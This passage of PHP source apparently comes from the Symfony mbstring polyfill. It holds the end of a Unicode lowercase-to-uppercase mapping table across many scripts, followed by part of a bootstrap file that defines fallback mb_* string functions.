'ẅ' => 'Ẅ', 'ẇ' => 'Ẇ', 'ẉ' => 'Ẉ', 'ẋ' => 'Ẋ', 'ẍ' => 'Ẍ', 'ẏ' => 'Ẏ', 'ẑ' => 'Ẑ', 'ẓ' => 'Ẓ', 'ẕ' => 'Ẕ', 'ẛ' => 'Ṡ', 'ạ' => 'Ạ', 'ả' => 'Ả', 'ấ' => 'Ấ', 'ầ' => 'Ầ', 'ẩ' => 'Ẩ', 'ẫ' => 'Ẫ', 'ậ' => 'Ậ', 'ắ' => 'Ắ', 'ằ' => 'Ằ', 'ẳ' => 'Ẳ', 'ẵ' => 'Ẵ', 'ặ' => 'Ặ', 'ẹ' => 'Ẹ', 'ẻ' => 'Ẻ', 'ẽ' => 'Ẽ', 'ế' => 'Ế', 'ề' => 'Ề', 'ể' => 'Ể', 'ễ' => 'Ễ', 'ệ' => 'Ệ', 'ỉ' => 'Ỉ', 'ị' => 'Ị', 'ọ' => 'Ọ', 'ỏ' => 'Ỏ', 'ố' => 'Ố', 'ồ' => 'Ồ', 'ổ' => 'Ổ', 'ỗ' => 'Ỗ', 'ộ' => 'Ộ', 'ớ' => 'Ớ', 'ờ' => 'Ờ', 'ở' => 'Ở', 'ỡ' => 'Ỡ', 'ợ' => 'Ợ', 'ụ' => 'Ụ', 'ủ' => 'Ủ', 'ứ' => 'Ứ', 'ừ' => 'Ừ', 'ử' => 'Ử', 'ữ' => 'Ữ', 'ự' => 'Ự', 'ỳ' => 'Ỳ', 'ỵ' => 'Ỵ', 'ỷ' => 'Ỷ', 'ỹ' => 'Ỹ', 'ỻ' => 'Ỻ', 'ỽ' => 'Ỽ', 'ỿ' => 'Ỿ', 'ἀ' => 'Ἀ', 'ἁ' => 'Ἁ', 'ἂ' => 'Ἂ', 'ἃ' => 'Ἃ', 'ἄ' => 'Ἄ', 'ἅ' => 'Ἅ', 'ἆ' => 'Ἆ', 'ἇ' => 'Ἇ', 'ἐ' => 'Ἐ', 'ἑ' => 'Ἑ', 'ἒ' => 'Ἒ', 'ἓ' => 'Ἓ', 'ἔ' => 'Ἔ', 'ἕ' => 'Ἕ', 'ἠ' => 'Ἠ', 'ἡ' => 'Ἡ', 'ἢ' => 'Ἢ', 'ἣ' => 'Ἣ', 'ἤ' => 'Ἤ', 'ἥ' => 'Ἥ', 'ἦ' => 'Ἦ', 'ἧ' => 'Ἧ', 'ἰ' => 'Ἰ', 'ἱ' => 'Ἱ', 'ἲ' => 'Ἲ', 'ἳ' => 'Ἳ', 'ἴ' => 'Ἴ', 'ἵ' => 'Ἵ', 'ἶ' => 'Ἶ', 'ἷ' => 'Ἷ', 'ὀ' => 'Ὀ', 'ὁ' => 'Ὁ', 'ὂ' => 'Ὂ', 'ὃ' => 'Ὃ', 'ὄ' => 'Ὄ', 'ὅ' => 'Ὅ', 'ὑ' => 'Ὑ', 'ὓ' => 'Ὓ', 'ὕ' => 'Ὕ', 'ὗ' => 'Ὗ', 'ὠ' => 'Ὠ', 'ὡ' => 'Ὡ', 'ὢ' => 'Ὢ', 'ὣ' => 'Ὣ', 'ὤ' => 'Ὤ', 'ὥ' => 'Ὥ', 'ὦ' => 'Ὦ', 'ὧ' => 'Ὧ', 'ὰ' => 'Ὰ', 'ά' => 'Ά', 'ὲ' => 'Ὲ', 'έ' => 'Έ', 'ὴ' => 'Ὴ', 'ή' => 'Ή', 'ὶ' => 'Ὶ', 'ί' => 'Ί', 'ὸ' => 'Ὸ', 'ό' => 'Ό', 'ὺ' => 'Ὺ', 'ύ' => 'Ύ', 'ὼ' => 'Ὼ', 'ώ' => 'Ώ', 'ᾀ' => 'ἈΙ', 'ᾁ' => 'ἉΙ', 'ᾂ' => 'ἊΙ', 'ᾃ' => 'ἋΙ', 'ᾄ' => 'ἌΙ', 'ᾅ' => 'ἍΙ', 'ᾆ' => 'ἎΙ', 'ᾇ' => 'ἏΙ', 'ᾐ' => 'ἨΙ', 'ᾑ' => 'ἩΙ', 'ᾒ' => 'ἪΙ', 'ᾓ' => 'ἫΙ', 'ᾔ' => 'ἬΙ', 'ᾕ' => 'ἭΙ', 'ᾖ' => 'ἮΙ', 'ᾗ' => 'ἯΙ', 'ᾠ' => 'ὨΙ', 'ᾡ' => 'ὩΙ', 'ᾢ' => 'ὪΙ', 'ᾣ' => 'ὫΙ', 'ᾤ' => 'ὬΙ', 'ᾥ' => 'ὭΙ', 'ᾦ' => 'ὮΙ', 'ᾧ' => 'ὯΙ', 'ᾰ' => 'Ᾰ', 'ᾱ' => 'Ᾱ', 'ᾳ' => 'ΑΙ', 'ι' => 'Ι', 'ῃ' => 'ΗΙ', 'ῐ' => 'Ῐ', 'ῑ' => 'Ῑ', 'ῠ' => 'Ῠ', 'ῡ' => 'Ῡ', 'ῥ' => 'Ῥ', 'ῳ' => 'ΩΙ', 'ⅎ' => 'Ⅎ', 'ⅰ' => 'Ⅰ', 'ⅱ' => 'Ⅱ', 'ⅲ' => 'Ⅲ', 'ⅳ' => 'Ⅳ', 'ⅴ' => 'Ⅴ', 'ⅵ' => 'Ⅵ', 'ⅶ' => 'Ⅶ', 'ⅷ' => 'Ⅷ', 'ⅸ' => 'Ⅸ', 'ⅹ' => 'Ⅹ', 'ⅺ' => 'Ⅺ', 'ⅻ' => 'Ⅻ', 'ⅼ' => 'Ⅼ', 'ⅽ' => 'Ⅽ', 'ⅾ' => 'Ⅾ', 'ⅿ' => 'Ⅿ', 'ↄ' => 'Ↄ', 'ⓐ' => 'Ⓐ', 'ⓑ' => 'Ⓑ', 'ⓒ' => 'Ⓒ', 'ⓓ' => 'Ⓓ', 'ⓔ' => 'Ⓔ', 'ⓕ' => 'Ⓕ', 'ⓖ' => 'Ⓖ', 'ⓗ' => 'Ⓗ', 'ⓘ' => 'Ⓘ', 'ⓙ' => 'Ⓙ', 'ⓚ' => 'Ⓚ', 'ⓛ' => 'Ⓛ', 'ⓜ' => 'Ⓜ', 'ⓝ' => 'Ⓝ', 'ⓞ' => 'Ⓞ', 'ⓟ' => 'Ⓟ', 'ⓠ' => 'Ⓠ', 'ⓡ' => 'Ⓡ', 'ⓢ' => 'Ⓢ', 'ⓣ' => 'Ⓣ', 'ⓤ' => 'Ⓤ', 'ⓥ' => 'Ⓥ', 'ⓦ' => 'Ⓦ', 'ⓧ' => 'Ⓧ', 'ⓨ' => 'Ⓨ', 'ⓩ' => 'Ⓩ', 'ⰰ' => 'Ⰰ', 'ⰱ' => 'Ⰱ', 'ⰲ' => 'Ⰲ', 'ⰳ' => 'Ⰳ', 'ⰴ' => 'Ⰴ', 'ⰵ' => 'Ⰵ', 'ⰶ' => 'Ⰶ', 'ⰷ' => 'Ⰷ', 'ⰸ' => 'Ⰸ', 'ⰹ' => 'Ⰹ', 'ⰺ' => 'Ⰺ', 'ⰻ' => 'Ⰻ', 'ⰼ' => 'Ⰼ', 'ⰽ' => 'Ⰽ', 'ⰾ' => 'Ⰾ', 'ⰿ' => 'Ⰿ', 'ⱀ' => 'Ⱀ', 'ⱁ' => 'Ⱁ', 'ⱂ' => 'Ⱂ', 'ⱃ' => 'Ⱃ', 'ⱄ' => 'Ⱄ', 'ⱅ' => 'Ⱅ', 'ⱆ' => 'Ⱆ', 'ⱇ' => 'Ⱇ', 'ⱈ' => 'Ⱈ', 'ⱉ' => 'Ⱉ', 'ⱊ' => 'Ⱊ', 'ⱋ' => 'Ⱋ', 'ⱌ' => 'Ⱌ', 'ⱍ' => 'Ⱍ', 'ⱎ' => 'Ⱎ', 'ⱏ' => 'Ⱏ', 'ⱐ' => 'Ⱐ', 'ⱑ' => 'Ⱑ', 'ⱒ' => 'Ⱒ', 'ⱓ' => 'Ⱓ', 'ⱔ' => 'Ⱔ', 'ⱕ' => 'Ⱕ', 'ⱖ' => 'Ⱖ', 'ⱗ' => 'Ⱗ', 'ⱘ' => 'Ⱘ', 'ⱙ' => 'Ⱙ', 'ⱚ' => 'Ⱚ', 'ⱛ' => 'Ⱛ', 'ⱜ' => 'Ⱜ', 'ⱝ' => 'Ⱝ', 'ⱞ' => 'Ⱞ', 'ⱡ' => 'Ⱡ', 'ⱥ' => 'Ⱥ', 'ⱦ' => 'Ⱦ', 'ⱨ' => 'Ⱨ', 'ⱪ' => 'Ⱪ', 'ⱬ' => 'Ⱬ', 'ⱳ' => 'Ⱳ', 'ⱶ' => 'Ⱶ', 'ⲁ' => 'Ⲁ', 'ⲃ' => 'Ⲃ', 'ⲅ' => 'Ⲅ', 'ⲇ' => 'Ⲇ', 'ⲉ' => 'Ⲉ', 'ⲋ' => 'Ⲋ', 'ⲍ' => 'Ⲍ', 'ⲏ' => 'Ⲏ', 'ⲑ' => 'Ⲑ', 'ⲓ' => 'Ⲓ', 'ⲕ' => 'Ⲕ', 'ⲗ' => 'Ⲗ', 'ⲙ' => 'Ⲙ', 'ⲛ' => 'Ⲛ', 'ⲝ' => 'Ⲝ', 'ⲟ' => 'Ⲟ', 'ⲡ' => 'Ⲡ', 'ⲣ' => 'Ⲣ', 'ⲥ' => 'Ⲥ', 'ⲧ' => 'Ⲧ', 'ⲩ' => 'Ⲩ', 'ⲫ' => 'Ⲫ', 'ⲭ' => 'Ⲭ', 'ⲯ' => 'Ⲯ', 'ⲱ' => 'Ⲱ', 'ⲳ' => 'Ⲳ', 'ⲵ' => 'Ⲵ', 'ⲷ' => 'Ⲷ', 'ⲹ' => 'Ⲹ', 'ⲻ' => 'Ⲻ', 'ⲽ' => 'Ⲽ', 'ⲿ' => 'Ⲿ', 'ⳁ' => 'Ⳁ', 'ⳃ' => 'Ⳃ', 'ⳅ' => 'Ⳅ', 'ⳇ' => 'Ⳇ', 'ⳉ' => 'Ⳉ', 'ⳋ' => 'Ⳋ', 'ⳍ' => 'Ⳍ', 'ⳏ' => 'Ⳏ', 'ⳑ' => 'Ⳑ', 'ⳓ' => 'Ⳓ', 'ⳕ' => 'Ⳕ', 'ⳗ' => 'Ⳗ', 'ⳙ' => 'Ⳙ', 'ⳛ' => 'Ⳛ', 'ⳝ' => 'Ⳝ', 'ⳟ' => 'Ⳟ', 'ⳡ' => 'Ⳡ', 'ⳣ' => 'Ⳣ', 'ⳬ' => 'Ⳬ', 'ⳮ' => 'Ⳮ', 'ⳳ' => 'Ⳳ', 'ⴀ' => 'Ⴀ', 'ⴁ' => 'Ⴁ', 'ⴂ' => 'Ⴂ', 'ⴃ' => 'Ⴃ', 'ⴄ' => 'Ⴄ', 'ⴅ' => 'Ⴅ', 'ⴆ' => 'Ⴆ', 'ⴇ' => 'Ⴇ', 'ⴈ' => 'Ⴈ', 'ⴉ' => 'Ⴉ', 'ⴊ' => 'Ⴊ', 'ⴋ' => 'Ⴋ', 'ⴌ' => 'Ⴌ', 'ⴍ' => 'Ⴍ', 'ⴎ' => 'Ⴎ', 'ⴏ' => 'Ⴏ', 'ⴐ' => 'Ⴐ', 'ⴑ' => 'Ⴑ', 'ⴒ' => 'Ⴒ', 'ⴓ' => 'Ⴓ', 'ⴔ' => 'Ⴔ', 'ⴕ' => 'Ⴕ', 'ⴖ' => 'Ⴖ', 'ⴗ' => 'Ⴗ', 'ⴘ' => 'Ⴘ', 'ⴙ' => 'Ⴙ', 'ⴚ' => 'Ⴚ', 'ⴛ' => 'Ⴛ', 'ⴜ' => 'Ⴜ', 'ⴝ' => 'Ⴝ', 'ⴞ' => 'Ⴞ', 'ⴟ' => 'Ⴟ', 'ⴠ' => 'Ⴠ', 'ⴡ' => 'Ⴡ', 'ⴢ' => 'Ⴢ', 'ⴣ' => 'Ⴣ', 'ⴤ' => 'Ⴤ', 'ⴥ' => 'Ⴥ', 'ⴧ' => 'Ⴧ', 'ⴭ' => 'Ⴭ', 'ꙁ' => 'Ꙁ', 'ꙃ' => 'Ꙃ', 'ꙅ' => 'Ꙅ', 'ꙇ' => 'Ꙇ', 'ꙉ' => 'Ꙉ', 'ꙋ' => 'Ꙋ', 'ꙍ' => 'Ꙍ', 'ꙏ' => 'Ꙏ', 'ꙑ' => 'Ꙑ', 'ꙓ' => 'Ꙓ', 'ꙕ' => 'Ꙕ', 'ꙗ' => 'Ꙗ', 'ꙙ' => 'Ꙙ', 'ꙛ' => 'Ꙛ', 'ꙝ' => 'Ꙝ', 'ꙟ' => 'Ꙟ', 'ꙡ' => 'Ꙡ', 'ꙣ' => 'Ꙣ', 'ꙥ' => 'Ꙥ', 'ꙧ' => 'Ꙧ', 'ꙩ' => 'Ꙩ', 'ꙫ' => 'Ꙫ', 'ꙭ' => 'Ꙭ', 'ꚁ' => 'Ꚁ', 'ꚃ' => 'Ꚃ', 'ꚅ' => 'Ꚅ', 'ꚇ' => 'Ꚇ', 'ꚉ' => 'Ꚉ', 'ꚋ' => 'Ꚋ', 'ꚍ' => 'Ꚍ', 'ꚏ' => 'Ꚏ', 'ꚑ' => 'Ꚑ', 'ꚓ' => 'Ꚓ', 'ꚕ' => 'Ꚕ', 'ꚗ' => 'Ꚗ', 'ꚙ' => 'Ꚙ', 'ꚛ' => 'Ꚛ', 'ꜣ' => 'Ꜣ', 'ꜥ' => 'Ꜥ', 'ꜧ' => 'Ꜧ', 'ꜩ' => 'Ꜩ', 'ꜫ' => 'Ꜫ', 'ꜭ' => 'Ꜭ', 'ꜯ' => 'Ꜯ', 'ꜳ' => 'Ꜳ', 'ꜵ' => 'Ꜵ', 'ꜷ' => 'Ꜷ', 'ꜹ' => 'Ꜹ', 'ꜻ' => 'Ꜻ', 'ꜽ' => 'Ꜽ', 'ꜿ' => 'Ꜿ', 'ꝁ' => 'Ꝁ', 'ꝃ' => 'Ꝃ', 'ꝅ' => 'Ꝅ', 'ꝇ' => 'Ꝇ', 'ꝉ' => 'Ꝉ', 'ꝋ' => 'Ꝋ', 'ꝍ' => 'Ꝍ', 'ꝏ' => 'Ꝏ', 'ꝑ' => 'Ꝑ', 'ꝓ' => 'Ꝓ', 'ꝕ' => 'Ꝕ', 'ꝗ' => 'Ꝗ', 'ꝙ' => 'Ꝙ', 'ꝛ' => 'Ꝛ', 'ꝝ' => 'Ꝝ', 'ꝟ' => 'Ꝟ', 'ꝡ' => 'Ꝡ', 'ꝣ' => 'Ꝣ', 'ꝥ' => 'Ꝥ', 'ꝧ' => 'Ꝧ', 'ꝩ' => 'Ꝩ', 'ꝫ' => 'Ꝫ', 'ꝭ' => 'Ꝭ', 'ꝯ' => 'Ꝯ', 'ꝺ' => 'Ꝺ', 'ꝼ' => 'Ꝼ', 'ꝿ' => 'Ꝿ', 'ꞁ' => 'Ꞁ', 'ꞃ' => 'Ꞃ', 'ꞅ' => 'Ꞅ', 'ꞇ' => 'Ꞇ', 'ꞌ' => 'Ꞌ', 'ꞑ' => 'Ꞑ', 'ꞓ' => 'Ꞓ', 'ꞔ' => 'Ꞔ', 'ꞗ' => 'Ꞗ', 'ꞙ' => 'Ꞙ', 'ꞛ' => 'Ꞛ', 'ꞝ' => 'Ꞝ', 'ꞟ' => 'Ꞟ', 'ꞡ' => 'Ꞡ', 'ꞣ' => 'Ꞣ', 'ꞥ' => 'Ꞥ', 'ꞧ' => 'Ꞧ', 'ꞩ' => 'Ꞩ', 'ꞵ' => 'Ꞵ', 'ꞷ' => 'Ꞷ', 'ꞹ' => 'Ꞹ', 'ꞻ' => 'Ꞻ', 'ꞽ' => 'Ꞽ', 'ꞿ' => 'Ꞿ', 'ꟃ' => 'Ꟃ', 'ꟈ' => 'Ꟈ', 'ꟊ' => 'Ꟊ', 'ꟶ' => 'Ꟶ', 'ꭓ' => 'Ꭓ', 'ꭰ' => 'Ꭰ', 'ꭱ' => 'Ꭱ', 'ꭲ' => 'Ꭲ', 'ꭳ' => 'Ꭳ', 'ꭴ' => 'Ꭴ', 'ꭵ' => 'Ꭵ', 'ꭶ' => 'Ꭶ', 'ꭷ' => 'Ꭷ', 'ꭸ' => 'Ꭸ', 'ꭹ' => 'Ꭹ', 'ꭺ' => 'Ꭺ', 'ꭻ' => 'Ꭻ', 'ꭼ' => 'Ꭼ', 'ꭽ' => 'Ꭽ', 'ꭾ' => 'Ꭾ', 'ꭿ' => 'Ꭿ', 'ꮀ' => 'Ꮀ', 'ꮁ' => 'Ꮁ', 'ꮂ' => 'Ꮂ', 'ꮃ' => 'Ꮃ', 'ꮄ' => 'Ꮄ', 'ꮅ' => 'Ꮅ', 'ꮆ' => 'Ꮆ', 'ꮇ' => 'Ꮇ', 'ꮈ' => 'Ꮈ', 'ꮉ' => 'Ꮉ', 'ꮊ' => 'Ꮊ', 'ꮋ' => 'Ꮋ', 'ꮌ' => 'Ꮌ', 'ꮍ' => 'Ꮍ', 'ꮎ' => 'Ꮎ', 'ꮏ' => 'Ꮏ', 'ꮐ' => 'Ꮐ', 'ꮑ' => 'Ꮑ', 'ꮒ' => 'Ꮒ', 'ꮓ' => 'Ꮓ', 'ꮔ' => 'Ꮔ', 'ꮕ' => 'Ꮕ', 'ꮖ' => 'Ꮖ', 'ꮗ' => 'Ꮗ', 'ꮘ' => 'Ꮘ', 'ꮙ' => 'Ꮙ', 'ꮚ' => 'Ꮚ', 'ꮛ' => 'Ꮛ', 'ꮜ' => 'Ꮜ', 'ꮝ' => 'Ꮝ', 'ꮞ' => 'Ꮞ', 'ꮟ' => 'Ꮟ', 'ꮠ' => 'Ꮠ', 'ꮡ' => 'Ꮡ', 'ꮢ' => 'Ꮢ', 'ꮣ' => 'Ꮣ', 'ꮤ' => 'Ꮤ', 'ꮥ' => 'Ꮥ', 'ꮦ' => 'Ꮦ', 'ꮧ' => 'Ꮧ', 'ꮨ' => 'Ꮨ', 'ꮩ' => 'Ꮩ', 'ꮪ' => 'Ꮪ', 'ꮫ' => 'Ꮫ', 'ꮬ' => 'Ꮬ', 'ꮭ' => 'Ꮭ', 'ꮮ' => 'Ꮮ', 'ꮯ' => 'Ꮯ', 'ꮰ' => 'Ꮰ', 'ꮱ' => 'Ꮱ', 'ꮲ' => 'Ꮲ', 'ꮳ' => 'Ꮳ', 'ꮴ' => 'Ꮴ', 'ꮵ' => 'Ꮵ', 'ꮶ' => 'Ꮶ', 'ꮷ' => 'Ꮷ', 'ꮸ' => 'Ꮸ', 'ꮹ' => 'Ꮹ', 'ꮺ' => 'Ꮺ', 'ꮻ' => 'Ꮻ', 'ꮼ' => 'Ꮼ', 'ꮽ' => 'Ꮽ', 'ꮾ' => 'Ꮾ', 'ꮿ' => 'Ꮿ', 'a' => 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H', 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L', 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P', 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T', 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X', 'y' => 'Y', 'z' => 'Z', '𐐨' => '𐐀', '𐐩' => '𐐁', '𐐪' => '𐐂', '𐐫' => '𐐃', '𐐬' => '𐐄', '𐐭' => '𐐅', '𐐮' => '𐐆', '𐐯' => '𐐇', '𐐰' => '𐐈', '𐐱' => '𐐉', '𐐲' => '𐐊', '𐐳' => '𐐋', '𐐴' => '𐐌', '𐐵' => '𐐍', '𐐶' => '𐐎', '𐐷' => '𐐏', '𐐸' => '𐐐', '𐐹' => '𐐑', '𐐺' => '𐐒', '𐐻' => '𐐓', '𐐼' => '𐐔', '𐐽' => '𐐕', '𐐾' => '𐐖', '𐐿' => '𐐗', '𐑀' => '𐐘', '𐑁' => '𐐙', '𐑂' => '𐐚', '𐑃' => '𐐛', '𐑄' => '𐐜', '𐑅' => '𐐝', '𐑆' => '𐐞', '𐑇' => '𐐟', '𐑈' => '𐐠', '𐑉' => '𐐡', '𐑊' => '𐐢', '𐑋' => '𐐣', '𐑌' => '𐐤', '𐑍' => '𐐥', '𐑎' => '𐐦', '𐑏' => '𐐧', '𐓘' => '𐒰', '𐓙' => '𐒱', '𐓚' => '𐒲', '𐓛' => '𐒳', '𐓜' => '𐒴', '𐓝' => '𐒵', '𐓞' => '𐒶', '𐓟' => '𐒷', '𐓠' => '𐒸', '𐓡' => '𐒹', '𐓢' => '𐒺', '𐓣' => '𐒻', '𐓤' => '𐒼', '𐓥' => '𐒽', '𐓦' => '𐒾', '𐓧' => '𐒿', '𐓨' => '𐓀', '𐓩' => '𐓁', '𐓪' => '𐓂', '𐓫' => '𐓃', '𐓬' => '𐓄', '𐓭' => '𐓅', '𐓮' => '𐓆', '𐓯' => '𐓇', '𐓰' => '𐓈', '𐓱' => '𐓉', '𐓲' => '𐓊', '𐓳' => '𐓋', '𐓴' => '𐓌', '𐓵' => '𐓍', '𐓶' => '𐓎', '𐓷' => '𐓏', '𐓸' => '𐓐', '𐓹' => '𐓑', '𐓺' => '𐓒', '𐓻' => '𐓓', '𐳀' => '𐲀', '𐳁' => '𐲁', '𐳂' => '𐲂', '𐳃' => '𐲃', '𐳄' => '𐲄', '𐳅' => '𐲅', '𐳆' => '𐲆', '𐳇' => '𐲇', '𐳈' => '𐲈', '𐳉' => '𐲉', '𐳊' => '𐲊', '𐳋' => '𐲋', '𐳌' => '𐲌', '𐳍' => '𐲍', '𐳎' => '𐲎', '𐳏' => '𐲏', '𐳐' => '𐲐', '𐳑' => '𐲑', '𐳒' => '𐲒', '𐳓' => '𐲓', '𐳔' => '𐲔', '𐳕' => '𐲕', '𐳖' => '𐲖', '𐳗' => '𐲗', '𐳘' => '𐲘', '𐳙' => '𐲙', '𐳚' => '𐲚', '𐳛' => '𐲛', '𐳜' => '𐲜', '𐳝' => '𐲝', '𐳞' => '𐲞', '𐳟' => '𐲟', '𐳠' => '𐲠', '𐳡' => '𐲡', '𐳢' => '𐲢', '𐳣' => '𐲣', '𐳤' => '𐲤', '𐳥' => '𐲥', '𐳦' => '𐲦', '𐳧' => '𐲧', '𐳨' => '𐲨', '𐳩' => '𐲩', '𐳪' => '𐲪', '𐳫' => '𐲫', '𐳬' => '𐲬', '𐳭' => '𐲭', '𐳮' => '𐲮', '𐳯' => '𐲯', '𐳰' => '𐲰', '𐳱' => '𐲱', '𐳲' => '𐲲', '𑣀' => '𑢠', '𑣁' => '𑢡', '𑣂' => '𑢢', '𑣃' => '𑢣', '𑣄' => '𑢤', '𑣅' => '𑢥', '𑣆' => '𑢦', '𑣇' => '𑢧', '𑣈' => '𑢨', '𑣉' => '𑢩', '𑣊' => '𑢪', '𑣋' => '𑢫', '𑣌' => '𑢬', '𑣍' => '𑢭', '𑣎' => '𑢮', '𑣏' => '𑢯', '𑣐' => '𑢰', '𑣑' => '𑢱', '𑣒' => '𑢲', '𑣓' => '𑢳', '𑣔' => '𑢴', '𑣕' => '𑢵', '𑣖' => '𑢶', '𑣗' => '𑢷', '𑣘' => '𑢸', '𑣙' => '𑢹', '𑣚' => '𑢺', '𑣛' => '𑢻', '𑣜' => '𑢼', '𑣝' => '𑢽', '𑣞' => '𑢾', '𑣟' => '𑢿', '𖹠' => '𖹀', '𖹡' => '𖹁', '𖹢' => '𖹂', '𖹣' => '𖹃', '𖹤' => '𖹄', '𖹥' => '𖹅', '𖹦' => '𖹆', '𖹧' => '𖹇', '𖹨' => '𖹈', '𖹩' => '𖹉', '𖹪' => '𖹊', '𖹫' => '𖹋', '𖹬' => '𖹌', '𖹭' => '𖹍', '𖹮' => '𖹎', '𖹯' => '𖹏', '𖹰' => '𖹐', '𖹱' => '𖹑', '𖹲' => '𖹒', '𖹳' => '𖹓', '𖹴' => '𖹔', '𖹵' => '𖹕', '𖹶' => '𖹖', '𖹷' => '𖹗', '𖹸' => '𖹘', '𖹹' => '𖹙', '𖹺' => '𖹚', '𖹻' => '𖹛', '𖹼' => '𖹜', '𖹽' => '𖹝', '𖹾' => '𖹞', '𖹿' => '𖹟', '𞤢' => '𞤀', '𞤣' => '𞤁', '𞤤' => '𞤂', '𞤥' => '𞤃', '𞤦' => '𞤄', '𞤧' => '𞤅', '𞤨' => '𞤆', '𞤩' => '𞤇', '𞤪' => '𞤈', '𞤫' => '𞤉', '𞤬' => '𞤊', '𞤭' => '𞤋', '𞤮' => '𞤌', '𞤯' => '𞤍', '𞤰' => '𞤎', '𞤱' => '𞤏', '𞤲' => '𞤐', '𞤳' => '𞤑', '𞤴' => '𞤒', '𞤵' => '𞤓', '𞤶' => '𞤔', '𞤷' => '𞤕', '𞤸' => '𞤖', '𞤹' => '𞤗', '𞤺' => '𞤘', '𞤻' => '𞤙', '𞤼' => '𞤚', '𞤽' => '𞤛', '𞤾' => '𞤜', '𞤿' => '𞤝', '𞥀' => '𞤞', '𞥁' => '𞤟', '𞥂' => '𞤠', '𞥃' => '𞤡', 'ß' => 'SS', 'ff' => 'FF', 'fi' => 'FI', 'fl' => 'FL', 'ffi' => 'FFI', 'ffl' => 'FFL', 'ſt' => 'ST', 'st' => 'ST', 'և' => 'ԵՒ', 'ﬓ' => 'ՄՆ', 'ﬔ' => 'ՄԵ', 'ﬕ' => 'ՄԻ', 'ﬖ' => 'ՎՆ', 'ﬗ' => 'ՄԽ', 'ʼn' => 'ʼN', 'ΐ' => 'Ϊ́', 'ΰ' => 'Ϋ́', 'ǰ' => 'J̌', 'ẖ' => 'H̱', 'ẗ' => 'T̈', 'ẘ' => 'W̊', 'ẙ' => 'Y̊', 'ẚ' => 'Aʾ', 'ὐ' => 'Υ̓', 'ὒ' => 'Υ̓̀', 'ὔ' => 'Υ̓́', 'ὖ' => 'Υ̓͂', 'ᾶ' => 'Α͂', 'ῆ' => 'Η͂', 'ῒ' => 'Ϊ̀', 'ΐ' => 'Ϊ́', 'ῖ' => 'Ι͂', 'ῗ' => 'Ϊ͂', 'ῢ' => 'Ϋ̀', 'ΰ' => 'Ϋ́', 'ῤ' => 'Ρ̓', 'ῦ' => 'Υ͂', 'ῧ' => 'Ϋ͂', 'ῶ' => 'Ω͂', 'ᾈ' => 'ἈΙ', 'ᾉ' => 'ἉΙ', 'ᾊ' => 'ἊΙ', 'ᾋ' => 'ἋΙ', 'ᾌ' => 'ἌΙ', 'ᾍ' => 'ἍΙ', 'ᾎ' => 'ἎΙ', 'ᾏ' => 'ἏΙ', 'ᾘ' => 'ἨΙ', 'ᾙ' => 'ἩΙ', 'ᾚ' => 'ἪΙ', 'ᾛ' => 'ἫΙ', 'ᾜ' => 'ἬΙ', 'ᾝ' => 'ἭΙ', 'ᾞ' => 'ἮΙ', 'ᾟ' => 'ἯΙ', 'ᾨ' => 'ὨΙ', 'ᾩ' => 'ὩΙ', 'ᾪ' => 'ὪΙ', 'ᾫ' => 'ὫΙ', 'ᾬ' => 'ὬΙ', 'ᾭ' => 'ὭΙ', 'ᾮ' => 'ὮΙ', 'ᾯ' => 'ὯΙ', 'ᾼ' => 'ΑΙ', 'ῌ' => 'ΗΙ', 'ῼ' => 'ΩΙ', 'ᾲ' => 'ᾺΙ', 'ᾴ' => 'ΆΙ', 'ῂ' => 'ῊΙ', 'ῄ' => 'ΉΙ', 'ῲ' => 'ῺΙ', 'ῴ' => 'ΏΙ', 'ᾷ' => 'Α͂Ι', 'ῇ' => 'Η͂Ι', 'ῷ' => 'Ω͂Ι', ); * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Mbstring as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding($string, $to_encoding, $from_encoding = null) { return p\Mbstring::mb_convert_encoding($string, $to_encoding, $from_encoding); } } if (!function_exists('mb_decode_mimeheader')) { function mb_decode_mimeheader($string) { return p\Mbstring::mb_decode_mimeheader($string); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader($string, $charset = null, $transfer_encoding = null, $newline = "\r\n", $indent = 0) { return p\Mbstring::mb_encode_mimeheader($string, $charset, $transfer_encoding, $newline, $indent); } } if (!function_exists('mb_decode_numericentity')) { function mb_decode_numericentity($string, $map, $encoding = null) { return p\Mbstring::mb_decode_numericentity($string, $map, $encoding); } } if (!function_exists('mb_encode_numericentity')) { function mb_encode_numericentity($string, $map, $encoding = null, $hex = false) { return p\Mbstring::mb_encode_numericentity($string, $map, $encoding, $hex); } } if (!function_exists('mb_convert_case')) { function mb_convert_case($string, $mode, $encoding = null) { return p\Mbstring::mb_convert_case($string, $mode, $encoding); } } if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding($encoding = null) { return p\Mbstring::mb_internal_encoding($encoding); } } if (!function_exists('mb_language')) { function mb_language($language = null) { return p\Mbstring::mb_language($language); } } if (!function_exists('mb_list_encodings')) { function mb_list_encodings() { return p\Mbstring::mb_list_encodings(); } } if (!function_exists('mb_encoding_aliases')) { function mb_encoding_aliases($encoding) { return p\Mbstring::mb_encoding_aliases($encoding); } } if (!function_exists('mb_check_encoding')) { function mb_check_encoding($value = null, $encoding = null) { return p\Mbstring::mb_check_encoding($value, $encoding); } } if (!function_exists('mb_detect_encoding')) { function mb_detect_encoding($string, $encodings = null, $strict = false) { return p\Mbstring::mb_detect_encoding($string, $encodings, $strict); } } if (!function_exists('mb_detect_order')) { function mb_detect_order($encoding = null) { return p\Mbstring::mb_detect_order($encoding); } } if (!function_exists('mb_parse_str')) { function mb_parse_str($string, &$result = []) { parse_str($string, $result); return (bool) $result; } } if (!function_exists('mb_strlen')) { function mb_strlen($string, $encoding = null) { return p\Mbstring::mb_strlen($string, $encoding); } } if (!function_exists('mb_strpos')) { function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strpos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strtolower')) { function mb_strtolower($string, $encoding = null) { return p\Mbstring::mb_strtolower($string, $encoding); } } if (!function_exists('mb_strtoupper')) { function mb_strtoupper($string, $encoding = null) { return 